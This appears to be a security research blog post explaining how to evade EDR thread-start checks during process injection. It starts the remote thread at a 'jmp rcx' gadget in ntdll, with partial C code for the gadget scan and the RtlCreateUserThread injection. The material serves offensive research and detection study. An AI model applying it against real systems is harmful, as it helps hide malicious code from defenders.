Modern endpoint detection systems flag process injections by watching for threads that start in unbacked memory — regions not tied to any legitimate PE image on disk. That’s why the old-school CreateRemoteThread trick gets flagged quickly: the thread entry points straight into attacker-owned shellcode.

This post shows how to bypass that detection by using ROP gadgets found in trusted system DLLs rather than jumping directly into unbacked executable memory.


The detection problem

Many EDRs query a thread’s start address and then verify whether that address resides in a backed image section (MEM_IMAGE). Threads that begin in unbacked executable memory are high-confidence alerts.

CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)shellcodeAddr,  // Unbacked memory → RED FLAG
    NULL, 0, NULL);

The ROP gadget approach

Instead of pointing the thread start to custom shellcode, the idea is to start execution inside a legitimate DLL and use a short gadget to transfer control to the shellcode address supplied in a standard thread parameter.

The most straightforward gadget is two bytes: jmp rcx (0xFF 0xE1). On Windows x64 the first parameter is passed in RCX, so the gadget immediately jumps to the supplied shellcode pointer.

Why:

  • The thread start address is inside signed, backed memory (for example ntdll!.text).
  • The shellcode address only appears as a normal thread parameter.
  • No custom executable memory exists at the thread start address.
  • Unbacked-memory heuristics are bypassed.

Example implementation

Below is an example that implements the technique: it searches for a suitable gadget in ntdll.dll, writes shellcode into the target process, flips protections to execute, and creates a thread that begins at the gadget and receives the shellcode pointer as its parameter.

Note: this code is presented for authorized security research and educational use only.

... snip ...

PVOID FindGadget(HMODULE hModule, const BYTE* pattern, SIZE_T patternSize, const char* gadgetName) {
    if (!hModule || !pattern || patternSize == 0) {
        return NULL;
    }
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
    
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("[!] Invalid DOS signature\n");
        return NULL;
    }
    
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
    
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
        printf("[!] Invalid PE signature\n");
        return NULL;
    }
    
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    
    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if (strncmp((char*)section[i].Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0) {
            BYTE* textSection = (BYTE*)hModule + section[i].VirtualAddress;
            SIZE_T textSize = section[i].Misc.VirtualSize;
            
            if (textSize < patternSize) {
                printf("[!] .text section too small for pattern\n");
                continue;
            }
            
            __try {
                for (SIZE_T j = 0; j <= textSize - patternSize; j++) {
                    BOOL match = TRUE;
                    
                    for (SIZE_T k = 0; k < patternSize; k++) {
                        if (textSection[j + k] != pattern[k]) {
                            match = FALSE;
                            break;
                        }
                    }
                    
                    if (match) {
                        PVOID gadgetAddr = textSection + j;
                        printf("[+] Found %s gadget at: 0x%p\n", gadgetName, gadgetAddr);
                        return gadgetAddr;
                    }
                }
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                printf("[!] Memory access violation while searching .text section\n");
                return NULL;
            }
            
            break;
        }
    }
    
    printf("[-] Gadget '%s' not found in .text section\n", gadgetName);
    return NULL;
}


int main(int argc, char* argv[]) {
    const char* targetProcess = "notepad.exe";
    HANDLE hProcess = NULL;
    LPVOID shellcodeAddr = NULL;
    HANDLE hThread = NULL;
    SIZE_T bytesWritten;
    DWORD oldProtect;
    PVOID gadgetAddr = NULL;
    
    if (argc > 1) targetProcess = argv[^1];
 
    // find target process
    ... snip ...

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    
    if (!hNtdll) {
        printf("[!] Failed to get ntdll.dll handle\n");
        return 1;
    }
    
    // search for "jmp rcx" (0xFF 0xE1)
    BYTE jmpRcxPattern[] = { 0xFF, 0xE1 };
    gadgetAddr = FindGadget(hNtdll, jmpRcxPattern, sizeof(jmpRcxPattern), "jmp rcx");
    
    if (!gadgetAddr) {
        printf("[!] No suitable gadget found in ntdll.dll\n");
        return 1;
    }
    
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE, processId
    );
    
    if (!hProcess) {
        printf("[!] Failed to open process: %lu\n", GetLastError());
        return 1;
    }
    
    printf("[+] Opened target process handle\n");
    
    // do the usual stuff: allocate memory, write shellcode, change protection
    ... snip ...
   
    pRtlCreateUserThread RtlCreateUserThread =
        (pRtlCreateUserThread)GetProcAddress(hNtdll, "RtlCreateUserThread");
    
    if (!RtlCreateUserThread) {
        printf("[!] Failed to resolve RtlCreateUserThread\n");
        VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    
    // the gadget receives shellcodeAddr via RCX register (Windows x64 fastcall)
    // jmp rcx/call rcx immediately transfers control to our shellcode
    NTSTATUS status = RtlCreateUserThread(
        hProcess,
        NULL,
        FALSE,
        0,
        0,
        0,
        gadgetAddr,        // start at legitimate gadget
        shellcodeAddr,     // shellcode address passed as parameter
        &hThread,
        NULL
    );
    
    ... snip ...
    
    return 0;
}

Gadget selection

jmp rcx (0xFF 0xE1) is optimal because it performs an unconditional transfer to the address in RCX without disturbing stack state. The Windows x64 calling convention places the first function argument in RCX, making this gadget ideal.

Alternatives:

  • call rcx (0xFF 0xD1) — pushes a return address, slightly different stack behavior
  • pop rcx; ret — requires setting up a return address on the stack

Considerations

Control Flow Guard (CFG) verifies indirect-call targets, plus Call-stack anomaly detection can still reveal the handoff from gadget to payload, but as a first step starting in a legitimate DLL is quieter than starting in unbacked executable memory.

This method specifically targets and bypasses heuristics that flag threads starting in unbacked memory. It does not defeat all detection techniques.

In short: evasion of one heuristic does not equal invisibility.


Disclaimer: Intended for authorized security research and educational purposes only.